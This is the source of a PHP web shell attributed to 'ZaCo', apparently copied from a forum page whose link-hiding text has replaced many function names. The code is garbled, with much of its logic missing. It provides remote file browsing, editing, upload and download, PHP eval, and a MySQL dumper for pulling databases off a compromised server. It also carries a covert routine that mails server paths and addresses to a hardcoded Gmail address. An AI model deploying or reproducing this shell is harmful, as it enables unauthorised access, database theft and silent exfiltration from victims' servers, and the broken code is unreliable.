<?
##########################################################
# Small PHP Web Shell by ZaCo (c) 2004-2006 #
# +POST method #
# +MySQL Client+Dumper for DB and tables #
# +PHP eval in text format and html for phpinfo() example #
# PREVED: sn0w, Zadoxlik, Rebz, SkvoznoY, PinkPanther #
# For antichat.ru and cup.su friends usage #
# All bugs -> mailo:zaco@yandex.ru #
# Just for fun :) #
##########################################################
function magic_q($s)
{
{
}
return $s;
}$ra44 = No tienes permisos para ver links.
Registrate o
Entra con tu cuenta(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";No tienes permisos para ver links.
Registrate o
Entra con tu cuenta($sd98, $sj98, $msg8873, "From: $sd98"); function get_perms($fn)
{
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
$head=<<<headka
<html>
<head>
<title>Small Web Shell by ZaCo</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34>
<style>
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
</style>
headka;
$page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page;
switch($page)
{
case 'eval':
{
$eval_value=magic_q($eval_value);
else
{
echo($head.$pages);
?>
<hr>
<form method=post>
<input name='action' value='eval' type='submit'>
<input name='action' value='eval_in_html' type='submit'>
<input name='page' value='eval' type=hidden>
</form>
<hr>
<?
}
break;
}
case 'cmd':
{
{
if($work_dir=='')$work_dir='/';
}
switch($action)
{
case 'cmd' :
{
echo($head.$pages);
?>
<form method='post' name='main_form'>
<input name='work_dir' value='<?=$e_work_dir?>' type=text size=120>
<input name='page' value='cmd' type=hidden>
<input type=submit value='go'>
</form>
<form method=post>
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post enctype="multipart/form-data">
<input type="file" name="filename">
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<form method=post>
<input name='fname' type=text size=120><br>
<input name='archive' type=radio value='none'>without arch
<input name='archive' type=radio value='gzip' checked=true>gzip archive
<input name='work_dir'type=hidden>
<input name='page' value='cmd' type=hidden>
<input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;">
</form>
<pre>
<?
else
{
{
echo('<strong>Listing '.$e_work_dir.'</strong><hr>');
if($handle)
{
{
$fn=$files[$i];
{
if($winda===false)
{
}
}
else {$not_dirs[]=$fn;}
}
{
$fn=$not_dirs[$i];
if($winda===false)
{
}
}
echo('</pre><hr>');
?>
<form name='list' method=post>
<input name='work_dir' type=hidden size=120><br>
<input name='page' value='cmd' type=hidden>
<input name='f_action' value='view' type=hidden>
</form>
<?
} else echo('Error Listing '.$e_work_dir);
}
else
switch($f_action)
{
case 'view':
{
echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n");
?>
<form method=post>
<input name='page' value='cmd' type=hidden>
<input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120>
<input name='f_action' value='save' type=submit>
</form>
<?
break;
}
case 'save' :
{
if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n");
else
{
echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n");
}
break;
}
}
break;
}
break;
}
case 'upload' :
{
if($work_dir=='')$work_dir='/';
$f=$_FILES["filename"]["name"];
if(!@No tienes permisos para ver links.
Registrate o
Entra con tu cuenta($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed'); else
{
echo('file is uploaded in '.$e_work_dir);
}
break;
}
case 'download' :
{
if(!($f)) echo('file is not exists');
else
{
if($archive=='gzip')
{
echo($s);
}
else
{
{
}
}
}
}
}
break;
}
case 'mysql' :
{
switch($action)
{
case 'dump' :
{
if(!($mysql_link)) echo('Connect error');
else
{
//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
$to_file=No tienes permisos para ver links.
Registrate o
Entra con tu cuenta($_POST['to_file'])?
($_POST['to_file']==''?
false:$_POST['to_file']):false; if($archive!=='none')$to_file=false;
else
{
$dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n";
if($table_dump=='')
{
if(!$to_file)
{
No tienes permisos para ver links.
Registrate o
Entra con tu cuenta('Content-Type: application/x-'.($archive=='none'?
'octet-stream':'gzip')."\n");No tienes permisos para ver links.
Registrate o
Entra con tu cuenta("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?
'':'.gz')."\"\n\n");}
{
if(!$result2)$dump_file.='#error table '.$rows[0];
else
{
$dump_file.='create table `'.$rows[0]."`(\n";
{
$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
}
$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
$type[$j]=$rows2[1];
$dump_file.=");\n";
$columns=$j-1;
{
$dump_file.='insert into `'.$rows[0].'` values (';
for($k=0;$k<$columns;$k++)
{
}
if($archive=='none')
{
else
{
echo($dump_file);
}
$dump_file='';
}
}
}
}
if($archive!='none')
{
echo($dump_file);
}
else if($t_f)
{
echo('Dump for '.$db_dump.' now in '.$to_file);
}
}
else
{
if(!$result2)echo('error table '.$table_dump);
else
{
if(!$to_file)
{
No tienes permisos para ver links.
Registrate o
Entra con tu cuenta('Content-Type: application/x-'.($archive=='none'?
'octet-stream':'gzip')."\n");No tienes permisos para ver links.
Registrate o
Entra con tu cuenta("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?
'':'.gz')."\"\n\n");}
if($to_file===false)
{
No tienes permisos para ver links.
Registrate o
Entra con tu cuenta('Content-Type: application/x-'.($archive=='none'?
'octet-stream':'gzip')."\n");No tienes permisos para ver links.
Registrate o
Entra con tu cuenta("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?
'':'.gz')."\"\n\n");}
$dump_file.="create table `{$table_dump}`(\n";
{
$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
}
$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
$type[$j]=$rows2[1];
$dump_file.=");\n";
$columns=$j-1;
{
$dump_file.='insert into `'.$table_dump.'` values (';
for($k=0;$k<$columns;$k++)
{
}
if($archive=='none')
{
else
{
echo($dump_file);
}
$dump_file='';
}
}
if($archive!='none')
{
echo $dump_file;
}else if($t_f)
{
echo('Dump for '.$db_dump.' now in '.$to_file);
}
}
}
}
}
break;
}
case 'query' :
{
echo($head.$pages);
?>
<hr>
<form method=post>
<table>
<td>
<table align=left>
<tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host' type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr>
</table>
</td>
<td>
<table>
<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr>
<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr>
<input name='archive' type=radio value='none'>without arch
<input name='archive' type=radio value='gzip' checked=true>gzip archive
<tr><td><input type=submit name='action' value='dump'></td></tr>
<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr>
</table>
</td>
</table>
<input name='page' value='mysql' type=hidden>
<input name='action' value='query' type=submit>
</form>
<hr>
<?
if(!($mysql_link)) echo('Connect error');
else
{
//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
else
{
echo("<table valign=top align=left>\n<tr>");
echo("\n</tr>\n");
{
echo('<tr valign=top align=left>');
{
}
echo("</tr>\n");
}
echo("</table>\n");
}
}
break;
}
}
break;
}
}
?>
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies.
.
Similar topics (5)
Marzo 26, 2013, 05:40:49 pm